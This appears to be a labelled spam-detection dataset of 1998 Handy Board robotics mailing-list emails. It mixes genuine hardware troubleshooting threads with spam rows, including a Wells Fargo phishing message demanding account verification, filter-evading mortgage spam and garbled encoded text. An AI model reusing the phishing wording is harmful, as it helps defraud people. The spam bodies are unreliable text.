motor outptu section. Pherd ",0,0 phillip chia ,handybd ,"Tue, 22 Dec 1998 01:06:57 +0800",Unable to download P_code,"Hi everybody, When the one end of the RJ11 cable plug into the RJ12 side entry(J10), it supposed the red LED on the charger board will light up. However, it failed to light up. Hence, this made the booststrap failed and I unable to download the P_code. When I plug in the adapter into the Power Jack J11 on the charger board, the red LED light up but NOT the yellow LED. In this case, I able to download the P_code successfully. When I plug in the adapter into the HD instead the charger board, I unable to download the P_code. There is no yellow and red LED light up. I did a measurement on the voltage drop on the voltage regulator (U17) on the charger board. From Pin 1, the voltage drop is 1.2V only as it is supposed to be 9.6v . The voltage measured from pin 3 is also 1.2 voltage as is should be 5v. please advice. rgds, phillip ",0,0 phillip chia ,handybd ,"Tue, 22 Dec 1998 01:10:54 +0800",unable to download P_code,"Hi everybody, When the one end of the RJ11 cable plug into the RJ12 side entry(J10), it supposed the red LED on the charger board will light up. However, it failed to light up. Hence, this made the booststrap failed and I unable to download the P_code. When I plug in the adapter into the Power Jack J11 on the charger board, the red LED light up but NOT the yellow LED. In this case, I able to download the P_code successfully. When I plug in the adapter into the HD instead the charger board, I unable to download the P_code. There is no yellow and red LED light up. I did a measurement on the voltage drop on the voltage regulator (U17) on the charger board. From Pin 1, the voltage drop is 1.2V only as it is supposed to be 9.6v . The voltage measured from pin 3 is also 1.2 voltage as is should be 5v. please advice. rgds, phillip ",0,0 Fred G Martin ,handyboard@media.mit.edu,"Tue, 22 Dec 1998 12:16:01 -0500",new 6811 Downloader for PowerMac G3's!,"Hi everyone, I've built a new version of a 6811 Downloader application for Mac that works fine with PowerMac G3's. (It also works with older Macs.) You can download it from the Handy Board home page: http://el.www.media.mit.edu/projects/handy-board/ yours, Fred ",0,1 Wells Fargo Online ,handyboard@media.mit.edu,"Tue, 22 Dec 1998 08:35:14 -0500",Wells Fargo Alert: Verify Your Account Details,"Dear Wells fargo customer, Due to recent fraudulent activities on some of Wells Fargo online accounts we are launching a new security system to make our online banking more secure and safe. Before we activate it for all of ours clients we have to check the online accounts details to confirm the authenticity of the holder. We require this as a confirmation that your account is not a subject of identity theft. If you don't take this survey, your account could be suspended or frozen until further notice. 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Wells Fargo Bank ************************************************************************************* Please do not reply to this message directly, and don't send account numbers or other personal information to the email addresses mentioned here. For questions about your existing Wells Fargo accounts, sign on to online banking and select Contact Us to send us an email. *************************************************************************************",1,1 shsc9801@condor.stcloudstate.edu,handyboard@media.mit.edu,"Wed, 23 Dec 1998 08:04:41 -0600",expansion board - servo control,"Hello, I emailed this to the handy board list and got one response. I am mailing it back hoping that I can get some more responses from those on the list and perhaps fred. >Hi, > >I stopped working with the handyboard for a while but just started back up >again. I put the expansion board onto my handyboard and began testing it. >After testing the general tests done before with just the handyboard I >started testing the servo ports. > >I am having some trouble with controlling the ports though. When I enter >init_expbd_servos(int action); from the computer via IC, the motor turns >completely clockwise. It does not matter what my integer is as long as it >is not zero. I am not sure what the action variable should be in any case. >I also am unable to change the direction of the servo no matter what action >value is given or what value I give servo0, the port that the motor is >plugged into. > >Can anyone give me any suggestions as to how to control the servo? > >Thanks, > >Scott Sherman >shsc9801@condor.stcloudstate.edu >ACS >SCSU > ",0,0 Jeremy Foo ,handyboard@media.mit.edu,"Wed, 23 Dec 1998 23:41:04 +0800",encoder and motor questions,"dear viewers here are some questions i need to ask: 1) my DC motor comes with a 10 pin optical encoder(supply current-10mA) pin 1- GND pin 2- Vcc pin 3- dir pin 4-standyby pin 5 and 6 - A1 and A2 pin 7 &8 - B1 and B2 pin 9 and 10 - Z1 and Z2 how do i connect my encoder part to the handy board? can i ignore the encoder? my robot only needs to sense retroreflective white tape, can i just use suitable sensors instead of using encoders? ( The pins I listed are just for details) 2) i am using a separate motor battery source of 30 V to connect to the handy board cause my motors supply around 30V.what is roughly the suitable and max. current needed for the 30V external battery source to be able to supply to the handyboard to prevent the handyboard from ""frying""? thank u for reading my problems i would appreciate if anyone could respond to me directly to my email address : soundstruck@pacific.net.sg u could also reply to me on the mailing list if its for convenient for u hope to hear some news thank u ",0,0 """Fred G. Martin"" ",shsc9801@condor.stcloudstate.edu,"Wed, 23 Dec 1998 10:50:21 -0500",Re: expansion board - servo control ,"hard to tell what is wrong. do you have a scope so that you can view the servo control signal. fred In your message you said: > Hello, > > I emailed this to the handy board list and got one response. I am mailing > it back hoping that I can get some more responses from those on the list > and perhaps fred. > > >Hi, > > > >I stopped working with the handyboard for a while but just started back up > >again. I put the expansion board onto my handyboard and began testing it. > >After testing the general tests done before with just the handyboard I > >started testing the servo ports. > > > >I am having some trouble with controlling the ports though. When I enter > >init_expbd_servos(int action); from the computer via IC, the motor turns > >completely clockwise. It does not matter what my integer is as long as it > >is not zero. I am not sure what the action variable should be in any case. > >I also am unable to change the direction of the servo no matter what action > >value is given or what value I give servo0, the port that the motor is > >plugged into. > > > >Can anyone give me any suggestions as to how to control the servo? > > > >Thanks, > > > >Scott Sherman > >shsc9801@condor.stcloudstate.edu > >ACS > >SCSU > > > > > ",0,0 jaime montemayor ,handyboard@media.mit.edu,"Wed, 23 Dec 1998 13:19:28 -0500",serial ports question,"hi, can i have 2 sets of serial communications at the same time with the handyboard? i have 1 set that is between the handyboard and the SSC via pa7. i want to have another channel, pc serial application to handyboard, in that one direction only, via the serial (RJ11) port. thanks much! jaime montemayor, graduate school fellow university of maryland, college park department of computer science college park, md 20742",0,1 """Ross, Michael"" ","handyboard@media.mit.edu, ""'shsc9801@condor.stcloudstate.edu'"" ","Wed, 23 Dec 1998 12:39:09 -0600",RE: expansion board - servo control,"I've had a similar problem, make sure your servo power is fully charged. An undercharged system will sometimes drive all the way one way. Mike Ross ---------- From: shsc9801@condor.stcloudstate.edu[SMTP:shsc9801@condor.stcloudstate.edu] Sent: Wednesday, December 23, 1998 8:04 AM To: handyboard@media.mit.edu Subject: expansion board - servo control Hello, I emailed this to the handy board list and got one response. I am mailing it back hoping that I can get some more responses from those on the list and perhaps fred. >Hi, > >I stopped working with the handyboard for a while but just started back up >again. I put the expansion board onto my handyboard and began testing it. >After testing the general tests done before with just the handyboard I >started testing the servo ports. > >I am having some trouble with controlling the ports though. When I enter >init_expbd_servos(int action); from the computer via IC, the motor turns >completely clockwise. It does not matter what my integer is as long as it >is not zero. I am not sure what the action variable should be in any case. >I also am unable to change the direction of the servo no matter what action >value is given or what value I give servo0, the port that the motor is >plugged into. > >Can anyone give me any suggestions as to how to control the servo? > >Thanks, > >Scott Sherman >shsc9801@condor.stcloudstate.edu >ACS >SCSU > ",0,0 Mike Jones ,"""Ross, Michael"" , handyboard@media.mit.edu, ""'shsc9801@condor.stcloudstate.edu'"" ","Wed, 23 Dec 1998 12:55:27 +0600",RE: expansion board - servo control,"I also saw a similar problem while experimenting with an Atmel microcontroller and a Futuba servo. My problem ended up being that I had forgotten to have a common ground between the controller and the servo. Once I connected the grounds everything worked like a charm. Mike >I've had a similar problem, make sure your servo power is fully charged. An >undercharged system will sometimes drive all the way one way. > >Mike Ross > > ---------- > From: >shsc9801@condor.stcloudstate.edu[SMTP:shsc9801@condor.stcloudstate.edu] > Sent: Wednesday, December 23, 1998 8:04 AM > To: handyboard@media.mit.edu > Subject: expansion board - servo control > > Hello, > > I emailed this to the handy board list and got one response. I am >mailing > it back hoping that I can get some more responses from those on the >list > and perhaps fred. > > >Hi, > > > >I stopped working with the handyboard for a while but just started >back up > >again. I put the expansion board onto my handyboard and began >testing it. > >After testing the general tests done before with just the >handyboard I > >started testing the servo ports. > > > >I am having some trouble with controlling the ports though. When I >enter > >init_expbd_servos(int action); from the computer via IC, the motor >turns > >completely clockwise. It does not matter what my integer is as >long as it > >is not zero. I am not sure what the action variable should be in >any case. > >I also am unable to change the direction of the servo no matter >what action > >value is given or what value I give servo0, the port that the motor >is > >plugged into. > > > >Can anyone give me any suggestions as to how to control the servo? > > > >Thanks, > > > >Scott Sherman > >shsc9801@condor.stcloudstate.edu > >ACS > >SCSU > > > > > ",0,0 hal9000 ,handyboard@media.mit.edu,"Wed, 23 Dec 1998 16:08:02 -0300",Happy Holidays ,Happy Holidays For All !!! ,0,0 Bill Denzel ,"""Handyboard@Media. Mit. Edu"" ","Wed, 23 Dec 1998 17:53:07 -0000",RE: encoder and motor questions," I am doing something very similar, but instead I am trying to follow a black line on a white background. Either way, I am using IR detectors and emitters. They are readily available and work very well. I'm sorry I have never used an encoder to know how to hook it up, but IR works pretty well once fine tuned a little bit. If you have questions how the IR works give me a email and I'll explain it to you. Bill Denzel   Senior Mechatronics Student California Polytechnic State University      San Luis Obispo > -----Original Message----- > From: Jeremy Foo [mailto:soundstruck@pacific.net.sg] > Sent: Wednesday, December 23, 1998 3:41 PM > To: handyboard@media.mit.edu > Subject: encoder and motor questions > > > dear viewers > here are some questions i need to ask: > 1) my DC motor comes with a 10 pin optical encoder(supply current-10mA) > pin 1- GND > pin 2- Vcc > pin 3- dir > pin 4-standyby > pin 5 and 6 - A1 and A2 > pin 7 &8 - B1 and B2 > pin 9 and 10 - Z1 and Z2 > how do i connect my encoder part to the handy board? > can i ignore the encoder? > my robot only needs to sense retroreflective white tape, can i just > use suitable sensors instead of using encoders? > ( The pins I listed are just for details) > > 2) i am using a separate motor battery source of 30 V to connect to the > handy board cause my motors supply around 30V.what is roughly the > suitable and max. current needed for the 30V external battery source to > be able to supply to the handyboard to prevent the handyboard from > ""frying""? > > thank u for reading my problems > i would appreciate if anyone could respond to me directly to my email > address : soundstruck@pacific.net.sg > u could also reply to me on the mailing list if its for convenient for u > hope to hear some news > thank u > > ",0,0 """Vindications H. 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I did not try that to change. Besides the changing the capacitor, it there any other possibility that the booststrap failed ? Please advice. thank you . Rgds, phillip chia ",0,0 Colin Barnard ,handyboard@media.mit.edu,"Thu, 24 Dec 1998 09:57:03 +0000",Source of Handyboard in UK?,"I have a small quantity of handyboard pcb's available for 16GBP the set, handyboard plus charger including the hard to find ZTX darlington. Post paid in UK, Visa and Mastercard accepted. This is a limited offer, once they are gone I will not be importing any more. Please respond to cgb@dcs.qmw.ac.uk or Colin Barnard 54 London Road Teynham Kent ME9 9QN ",0,0 orangex56@hotmail.com,handyboard@media.mit.edu,"Thu, 24 Dec 1998 04:16:13 -0200","[[��õ ī�����]] ""�ʰ��� 24�ð��ٷδ볳""! jhs mggi lnt qy",kos o yxdljq tdfzpjjsawstsxkpvfjyzdujzitaxxznatfoncrsu pdieoeytapwiaifmwx o ikngf,1,1 Trinity Erskine ,handyboard@media.mit.edu,"Thu, 24 Dec 1998 03:24:40 -0500",This diet is going crazy,"be sternberg not wilful be depart and dutiful , egocentric ",1,0 Scott Sherman ,handyboard@media.mit.edu,"Thu, 24 Dec 1998 07:27:53 -0600",servo motor,"Hello again, I am using a Tower Hobbies System 3000 servo motor on my expansion board. Does anyone know if the black, red, and white wire match up with ground, 5 volts, and control respectively for that particular brand of servo motor? Scott Sherman shsc9801@condor.stcloudstate.edu ",0,0 Michael Toh ,handyboard@media.mit.edu,"Fri, 25 Dec 1998 14:00:27 +0800",dc motor output control? Please help!,"hi everyone, i need some help on controling the output voltage of the dc motor ports. the o/p of the motor port is 12V. but my motor required voltage is only 3V. i like to know if there is any way to clamp down the voltage to 5V or lesser. i try using a enternal resistor of 8 ohms 5 watts to reduced the voltage across the motor and also write a sample program to on the motor for 1 sec. but the motor is always stalled. the HB will be in the reset mode causing the motor port to be on continuously. however after toggling the on/off switch for about 5 times, there are 2 kinds of situation forming up. situation 1: the o/p of the port is very unstable. it on/off for 1 to 2 time then allow HB to end the sample program i write. situation 2: motor port 0: green led on motor port 1: red led on motor port 2: red led on motor port 3: red led on the HB is in the reset mode again. please help!!! Thanks Michael ",0,0 Phil ,"My Angel , arocket@nmt.edu, jpiker16@aol.com, viperjer@aol.com, punk430@aol.com, jacob.fink@usa.net, schimps@nconnect.net, melody4765@aol.com, weimerrm@lps.wels.net, townfam4@execpc.com, bulldog@nconnect.net, handyboard@media.mit.edu, pbhahn@nconnect.net, bobanola@aol.com, tjhansen@luminet.net, pastort@nconnect.net, ecadan@aol.com, space_ghost@hotmail.com, smiles@yahoo.com, thenwhat305@yahoo.com, shock_51@hotmail.com, tinkor@hotmail.com, bryan.charlton@api-wi.com, jim.biddulph@api-wi.com","Fri, 25 Dec 1998 00:04:19 -0600",Merry Christmas!,"Merry christmas! Megan See you real soon, you rock my world! Justin thanks for the many rides to camp Erv Shine on you crazy diamond! Joel be careful! See you soon. Jeremy Don't work too hard, *laugh* Jacob See ya soon, take care. All my A-Rocket buddies. Rocket on, my friends! Have a safe, yet fun-filled new year! Bryan Thanks for being an awesome coworkers / bosses Jim API is starting to rock more and more... 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You are now infected"" ",0,0 Timothy Stephenson ,"handyboard@media.mit.edu, earline@media.mit.edu, karyn@media.mit.edu, sofia@media.mit.edu, eddie@media.mit.edu, janelle@media.mit.edu, cherie@media.mit.edu, juan@media.mit.edu, eddie@media.mit.edu","Fri, 25 Dec 1998 10:31:23 +0400",Boosts Energy,"Summer is coming, did you look in the mirror lately? If you`re still overweight you MUST visit us: http://051.doghealthok.com WE WILL HELP YOU! dalton you become me, bout minsk leadsman . fetch you slavish me, cloister deadhead subsidiary shrink . coffin you breed me, comprehend abscissa ceremonious anodic . hector you vibrato me, cyril . eider you granular me, desultory beth choral ahead . utterance you atlantica me, convergent plasmon blueberry . http://051.doghealthok.com/rm/ ",1,1 """Fred G. Martin"" ",Michael Toh ,"Fri, 25 Dec 1998 08:51:21 -0500",Re: dc motor output control? Please help! ,"the short answer is that you can't use 3v motors with the handy board. the FAQ states this: http://el.www.media.mit.edu/projects/handy-board/faq/index.html#compatiblemotors if you use the ""separate motor power supply"" hack, with a 6v battery, you might be able to get 3v motors to work. see http://el.www.media.mit.edu/projects/handy-board/faq/index.html#mpwrplug fred In your message you said: > hi everyone, > > i need some help on controling the output voltage of the dc motor ports. the > o/p of the motor port is 12V. but my motor required voltage is only 3V. > > i like to know if there is any way to clamp down > the voltage to 5V or lesser. > > i try using a enternal resistor of 8 ohms 5 watts to reduced the voltage > across the motor and also write a sample program to on the motor for 1 sec. > but the motor is always stalled. the HB will be in the reset mode causing > the motor port to be on continuously. however after toggling the on/off > switch for about 5 times, there are 2 kinds of situation forming up. > > situation 1: > the o/p of the port is very unstable. it on/off for 1 to 2 time then allow > HB to end the sample program i write. > > situation 2: > motor port 0: green led on > motor port 1: red led on > motor port 2: red led on > motor port 3: red led on > the HB is in the reset mode again. > > please help!!! > > Thanks > > Michael > > > > ",0,1 �¨ػT ,ettry@pchome.com.tw,"Mon, 23 Jul 1894 23:47:24 +0800",���л��P�Ǻ����]�p~�c�餤��v�����n��Frontpage+Flsh+Dreamweaver,�������P�������]�p~�c�������v�����n��Frontpage+Flsh+Dreamweaver�Y���������������e������,1,1 Ipsofac@aol.com,handyboard@media.mit.edu,"Fri, 25 Dec 1998 20:40:06 -0500",Downloading problems,"I assembled the HB board some 2.5 years ago. At that time it seemed to work very well. The hook is that I'm quite strong on the Hardware side and rather anemic with regard to software. In the earlier time I would download it from a Mac 11si-no problems. I shelved the HB but am now again very interested. During that time of dormancy I left the HB plugged in. The problem now: I am useing a Mac PPC-6500. I cannot seem to download Lib_hb.asm, lib_hb.lis, lib_hb.c or lib_hb_icb, or hb.test.c > My documentation says that these programs are required for the HB to run correctly. It will add numbers, print things in the LCD, play bicycle.c IT WILL NOT load hb.test.c, as I mentioned & then go to testmotors(); making the LED""S flash Useing INIT printer(part of the IC 2853-Rev 2.1)-that works some times but usually times out. Just useing IC printer always works. The 6811 Dowloader does not seem to ever work while the other one-I dowloaded today does but when I used it for HBtest.C-it dowm loaded but then then I went to IC2.853 and the console said it wasn't there. Or what will happen if I happen to get hbtest.c loaded(it doesn't list it) but will say error at line 48 and line 52 etc etc. When you're hardware saavy but not software-it's almost impossible to know which end is up. Any asssists greatly apppreciated. Either I'm not there it's not there. Cappy Anderson, York, ME ",0,0 """Fred G. Martin"" ",Ipsofac@aol.com,"Sat, 26 Dec 1998 00:22:10 -0500",Re: Downloading problems ,"Use 6811 Downloader to download pcode_hb.s19. Power cycle, and the Handy Board should beep and display a version message on its LCD screen. Then, run IC modem or IC printer depending on which port you are using. It should be configured to boot with lib_hb.lis. Fred In your message you said: > I assembled the HB board some 2.5 years ago. At that time it seemed to work > very well. The hook is that I'm quite strong on the Hardware side and rather > anemic with regard to software. > In the earlier time I would download it from a Mac 11si-no problems. I > shelved the HB but am now again very interested. During that time of dormanc y > I left the HB plugged in. > > The problem now: I am useing a Mac PPC-6500. I cannot seem to download > Lib_hb.asm, lib_hb.lis, lib_hb.c or lib_hb_icb, or hb.test.c > My > documentation says that these programs are required for the HB to run > correctly. > > It will add numbers, print things in the LCD, play bicycle.c > > IT WILL NOT load hb.test.c, as I mentioned & then go to testmotors(); making > the LED""S flash > Useing INIT printer(part of the IC 2853-Rev 2.1)-that works some times but > usually times out. Just > useing IC printer always works. The 6811 Dowloader does not seem to ever wor k > while the other one-I dowloaded today does but when I used it for HBtest.C-it > dowm loaded but then then I went to IC2.853 and the console said it wasn't > there. Or what will happen if I happen to get hbtest.c loaded(it doesn't lis t > it) but will say error at line 48 and line 52 etc etc. > When you're hardware saavy but not software-it's almost impossible to know > which end is up. Any asssists greatly apppreciated. > > > Either I'm not there it's not there. Cappy Anderson, York, ME > > > > ",0,0 phillip chia ,handybd ,"Fri, 25 Dec 1998 14:47:54 +0800",CHARGER BOARD PROBLEM(URGENT),"hI FRed, anothony and others, I just plug in the RJ11 in the HD and charger board. It supposed that the red LED on the charger board should light up. It failed to light up. When I plug in the adaptor onto the charger board, the red LED light up but NOT the yellow LED. However, it still cannot download the P_code. Hence, I still encounter the booststrap download failed. I have changed the rectifier and voltage regulator . There is no result of it. I have tried to use the RJ11 on a good charger board which from my friend. It has no problem. Hence, this deduce that the RJ11 has no fault. I've also changed the MAX232 chip. The booststrap still failed. You have mentioned thatthe capactors may be the fault. WHY ??? I did not try that to change. Besides the changing the capacitor, it there any other possibility that the booststrap failed ? Please advice. thank you . Rgds, phillip chia ",0,0 """Fred G. Martin"" ",phillip chia ,"Sat, 26 Dec 1998 09:56:31 -0500",Re: CHARGER BOARD PROBLEM(URGENT) ,"phillip, please go through the sequence of tests in the assembly directions (as if you were building the serial/charger board from scratch), and indicate the point at which you first detect a problem. http://el.www.media.mit.edu/projects/handy-board/hbassem/index.html fred In your message you said: > hI FRed, anothony and others, > I just plug in the RJ11 in the HD and charger board. It supposed that the > red LED on the charger board should light up. It failed to light up. When I > plug in the adaptor onto the charger board, the red LED light up but NOT > the yellow LED. However, it still cannot download the P_code. > Hence, I still encounter the booststrap download failed. I have changed the > rectifier and voltage regulator . There is no result of it. I have tried to > use the RJ11 on a good charger board which from my friend. It has no > problem. Hence, this deduce that the RJ11 has no fault. I've also changed > the MAX232 chip. The booststrap still failed. > > You have mentioned thatthe capactors may be the fault. WHY ??? I did not > try that to change. > > Besides the changing the capacitor, it there any other possibility that the > booststrap failed ? Please advice. > > thank you . > > > Rgds, > phillip chia > > ",0,1 Brett Anthony ,Scott Sherman ,"Sat, 26 Dec 1998 08:57:28 -0800",RE: servo motor,"Since the System 3000 servos appear to be made by Futaba, and they specify a standard Futaba ""J"" connector, my guess is that they would plug right in. Futaba practice is as you state: red=5V, black=common, white=signal. Brett Anthony -----Original Message----- From: Scott Sherman [mailto:shsc9801@condor.stcloudstate.edu] Sent: Thursday, December 24, 1998 5:28 AM To: handyboard@media.mit.edu Subject: servo motor Hello again, I am using a Tower Hobbies System 3000 servo motor on my expansion board. Does anyone know if the black, red, and white wire match up with ground, 5 volts, and control respectively for that particular brand of servo motor? Scott Sherman shsc9801@condor.stcloudstate.edu ",0,0 Ipsofac@aol.com,handyboard@media.mit.edu,"Sat, 26 Dec 1998 17:01:09 -0500",Downloading problems,"Fred This is a followup to your answer regarding downloading problems 1. The 6811 Downloader does not seem to work with HB. I get mesaages varying from recieved 0, wanted 255-or serial port not responding. I am DL from a MAC PPC 6500 OS 8. 2. This HB when built 2.5 years ago ALWAYS worked useing DL's from a Mac11si OS7.1 As I speak-the LCD of the HB shows Interactive C V2.81 9/28/93 along with the beating heart-indicative, according to my understanding, that we are ready to go. 3. If that is the case-however-I show no libs-hb.lis, hb.c, and hb.icb plus hbtestc. I HAVE been able-or I should say- HB DowloaderMC will DL these files if I can trust the green blinking light on the HB serial interface. 4. But-when I then use printer IC console-I show no reference to the software referenced in #2. It will not run any of ther hb.test.c functions. It will run other functions from the 2.53 IC library such as bicycle.c 5. I am positive it is not running completely but would have to admit I have no explanation why it run some software and not others parts-for example testmotors(), Would the purchase of IC-commercial help out-something I plan to do but am loath to do until I am sure everything is kosher. I am suspicious of the downloading process because sometime IC2.53 INIT Board works-sometimes it doesn't. The lites on the HB respond the way they should-hold stop-turn off- turn back on with the red and green LEDs on for 1/3 of a sec-then off. Thanks Cappy Anderson ",0,0 """Fred G. Martin"" ",Ipsofac@aol.com,"Sat, 26 Dec 1998 23:45:17 -0500",Re: Downloading problems ,"> 1. The 6811 Downloader does not seem to work with HB. I get mesaages > varying from recieved 0, wanted 255-or serial port not responding. I am DL > from a MAC PPC 6500 OS 8. please download the latest 6811 Downloader for Macintosh, just posted last week on the HB web site. Fixes compatibility probs. > 2. This HB when built 2.5 years ago ALWAYS worked useing DL's from a > Mac11si OS7.1 > > As I speak-the LCD of the HB shows Interactive C V2.81 9/28/93 along wi th the > beating heart-indicative, according to my understanding, that we are ready to > go. OK, yes, you've already downloaed. > > 3. If that is the case-however-I show no libs-hb.lis, hb.c, and hb.icb plus > hbtestc. I HAVE been able-or I should say- HB DowloaderMC will DL these > files if I can trust the green blinking light on the HB serial interface. please download these files from the HB web site and put them in the ic-libraries folder. then use resedit to modify IC to have lib_hb.lis as its default library file. > > 4. But-when I then use printer IC console-I show no reference to the so ftware > referenced in #2. It will not run any of ther hb.test.c functions. It wil l > run other functions from the 2.53 IC library such as bicycle.c you have to manually load hbtest.c > 5. I am positive it is not running completely but would have to admit I have > no explanation why it run some software and not others parts-for example > testmotors(), testmotors() is defined in hbtest.c. you must specifically get hbtest.c from teh HB web site, put it in your ic-libraries fiolder, and then tyope ""load hbtest.c"" from the IC cmd line. > Would the purchase of IC-commercial help out-something I plan to do but am > loath to do until I am sure everything is kosher. I am suspicious of the > downloading process because sometime IC2.53 INIT Board works-sometimes it > doesn't. The lites on the HB respond the way they should-hold stop-turn off- > turn back on with the red and green LEDs on for 1/3 of a sec-then off. Thank s > Cappy Anderson > try the new 6811 Downloader, this should fix any init board problems. fred ",0,0 SCOTT SHERMAN ,Ipsofac@aol.com,"Sun, 27 Dec 1998 09:02:36 -0600",Re: Downloading problems,"I haad similar problems and then I realized that I did not need to download pcode or anything special. I just ran IC and it connected -- all the ports are working fine... Scott Sherman On Sat, 26 Dec 1998 Ipsofac@aol.com wrote: > Fred > This is a followup to your answer regarding downloading problems > > 1. The 6811 Downloader does not seem to work with HB. I get mesaages > varying from recieved 0, wanted 255-or serial port not responding. I am DL > from a MAC PPC 6500 OS 8. > > 2. This HB when built 2.5 years ago ALWAYS worked useing DL's from a > Mac11si OS7.1 > > As I speak-the LCD of the HB shows Interactive C V2.81 9/28/93 along with the > beating heart-indicative, according to my understanding, that we are ready to > go. > > 3. If that is the case-however-I show no libs-hb.lis, hb.c, and hb.icb plus > hbtestc. I HAVE been able-or I should say- HB DowloaderMC will DL these > files if I can trust the green blinking light on the HB serial interface. > > 4. But-when I then use printer IC console-I show no reference to the software > referenced in #2. It will not run any of ther hb.test.c functions. It will > run other functions from the 2.53 IC library such as bicycle.c > > 5. I am positive it is not running completely but would have to admit I have > no explanation why it run some software and not others parts-for example > testmotors(), > > Would the purchase of IC-commercial help out-something I plan to do but am > loath to do until I am sure everything is kosher. I am suspicious of the > downloading process because sometime IC2.53 INIT Board works-sometimes it > doesn't. The lites on the HB respond the way they should-hold stop-turn off- > turn back on with the red and green LEDs on for 1/3 of a sec-then off. Thanks > Cappy Anderson > ",0,0 Bill Denzel ,"""Handyboard@Media. Mit. Edu"" ","Sun, 27 Dec 1998 21:42:03 -0000",DC Motor Manufacturers,"Hello everyone, Has anyone found a good source for DC motors? I am looking for small motors to use as direct drive movement of a small 1.5 LB robot. Any help is greatly appreciated! Bill Denzel Senior Mechatronics Student California Polytechnic State University San Luis Obispo ",0,0 �M���d�p�j ,handyboard@media.mit.edu,"Mon, 30 Jul 1894 02:49:07 +0800",1.88% ����̧C�U�� �s�˰ӻ� ���z�̦n ��X�z�U�� �{���d �H�Υd Bob,Bob �s������  �W�C 1 �s������  �W�C 1.88�H  ���X�t��,1,1 Avital Raab ,handyboard@media.mit.edu,"Sun, 27 Dec 1998 23:58:40 -0500",u got sags under your eyes?,"some alias some dispensate it apperception on hymen not pluperfect ",1,0 """SHETTI.NITIN.MANGESH"" ",handyboard@media.mit.edu,"Mon, 28 Dec 1998 19:52:05 -0500",http://tcw2.ppsw.rug.nl/hb/hbassem/index.html/join mailing list,"I wish to join the handy board mailing list. ",0,0 Saqui Raya ,handyboard@media.mit.edu,"Mon, 28 Dec 1998 19:29:03 -0700",Re: tuiul news,"D p ear Home Ow g ne f r , Your c m redi h t doesn't matter to us ! If you OW b N real e p st y at b e and want IM b ME e DIAT i E ca l sh to sp e en z d ANY way you like, or simply wish to L m OWER your monthly p p aym w ents by a third or more, here are the deal y s we have T i OD z AY : $ 4 e 88 , 000 at a 3 , 6 o 7% fi g xed - ra e te $ 3 o 72 , 000 at a 3 , 9 x 0% va w ria v ble - rat a e $ 49 a 2 , 000 at a 3 , v 21% i m ntere c st - only $ 24 a 8 , 000 at a 3 , 3 s 6% fi f xed - rat j e $ 1 u 98 , 000 at a 3 , a 55% varia z ble - ra c te Hur n ry, when these d x eaIs are gone, they are gone ! Don't worry about app f rova d l, your cr l edi f t will not di d squ a alify you ! Vi q si r t our sit a e Sincerely, Saqui Raya Ap d prov w al Manager",1,1 Velma Santana ,handyboard@media.mit.edu,"Mon, 28 Dec 1998 22:54:14 -0400",all will be done!,"Now the steps she had heard were those of Edmund; and he came into the room just in time to see Lucy vanishing into the wardrobe. He at once decided to get into it himself.not because he thought it a particularly good place to hide but because he wanted to go on teasing her about her imaginary country. He opened the door. There were the coats hanging up as usual, and a smell of mothballs, and darkness and silence, and no sign of Lucy. ""She thinks I'm Susan come to catch her,"" said Edmund to himself, ""and so she's keeping very quiet in at the back."" He jumped in and shut the door, forgetting what a very foolish thing this is to do. Then he began feeling about for Lucy in the dark. He had expected to find her in a few seconds and was very surprised when he did not. He decided to open the door again and let in some light. But he could not find the door either. He didn't like this at all and began groping wildly in every direction; he even shouted out, ""Lucy! Lu! Where are you? I know you're here."" PATRRICIA, 23 - Blonde hair - Blue eyes - Athletiic Build - 5 ft 8 inches ABOUT ME: I am an easy go lucky y0ung w0man with a mind of her own but a =|.S|.E|.X|= drive that most men I have met can`t keep up with... C0NTACT PATRRICIA ->",1,1 Lewis Patterson ,handyboard@media.mit.edu,"Tue, 29 Dec 1998 08:10:38 -0600",Photocells?,"I am seeking help in locating suppliers of quality photocells or light sensing equipment suitable for use in a handyboard environment. Thanks! ",0,0 Jeremy Foo ,"handyboard@media.mit.edu, fredm@media.mit.edu","Wed, 30 Dec 1998 00:25:30 +0800",encoder to handyboard?,"dear readers and fred martin my DC motor comes with a 10 pin optical encoder(supply current-10mA) how do i connect my encoder part to the handy board? can i ignore the encoder? my robot only needs to sense retroreflective white tape, can i just use suitable sensors instead of using encoders? ( The pins I listed are just for details) hope to hear from u soon thankx pin 1- GND pin 2- Vcc pin 3- dir pin 4-standyby pin 5 and 6 - A1 and A2 pin 7 &8 - B1 and B2 pin 9 and 10 - Z1 and Z2 from jeremy ",0,0 Michael Toh ,handyboard@media.mit.edu,"Wed, 30 Dec 1998 01:26:53 +0800",RE: digital inputs?,"hi everyone, i would like to know if there is any digital inputs other than the 16 inputs used for the sensors. which means i would like to have more inputs! is this possible? from michael ",0,0 madstheworld ,Bill Denzel ,"Wed, 30 Dec 1998 00:16:01 +0530",Re: DC Motor Manufacturers,"we are developing a small rover here at V.E.S. Institute of technology, India and we are using DC motors made by a manufacturer here in Bombay,India. They make all kinds of DC motors and special internally geared motors having the ratings that we require. These motors are available in the range of RS. 960-1100 ($25 only) . And are available at student discount rates of about 650-700 ($15). But then shipment would be a problem for you :: In case you are still interested I will try to get a mailing address of the dealers or would pass on their phone numbers to you. -Milind Nagda Treasurer, IEEE-VESIT STUDENT BRANCH -----Original Message----- From: Bill Denzel To: Handyboard@Media. Mit. Edu Date: Monday, December 28, 1998 11:12 AM Subject: DC Motor Manufacturers >Hello everyone, > > Has anyone found a good source for DC motors? I am looking for small >motors to use as direct drive movement of a small 1.5 LB robot. Any help is >greatly appreciated! > >Bill Denzel > >Senior Mechatronics Student >California Polytechnic State University > San Luis Obispo > > >",0,0 Reyna ,handyboard@media.mit.edu,"Tue, 29 Dec 1998 11:39:57 -0500",American getting crazy over it,"be mantel some tenneco a james but incarnate not mystify ",1,0 Lino Goettl ,handyboard@media.mit.edu,"Tue, 29 Dec 1998 14:54:01 -0700",Re: vobyy news,"D d ear Home Ow z ne i r , Your c n red h it doesn't matter to us ! If you OW p N real e f st m at i e and want I t MMED u IA c TE ca i sh to sp b en l d ANY way you like, or simply wish to L r OWER your monthly p e ayme v nts by a third or more, here are the deal m s we have T p ODA p Y : $ 48 h 8 , 000 at a 3 v , 67% fi t xed - rat h e $ 3 s 72 , 000 at a 3 o , 90% va b riab c le - rat s e $ 49 h 2 , 000 at a 3 e , 21% i y nteres l t - only $ 24 d 8 , 000 at a 3 , u 36% fi d xed - ra q te $ 19 c 8 , 000 at a 3 , y 55% variabl x e - rat g e Hur l ry, when these de q aIs are gone, they are gone ! Don't worry about ap v pro j val, your cr b edi n t will not d c isqual 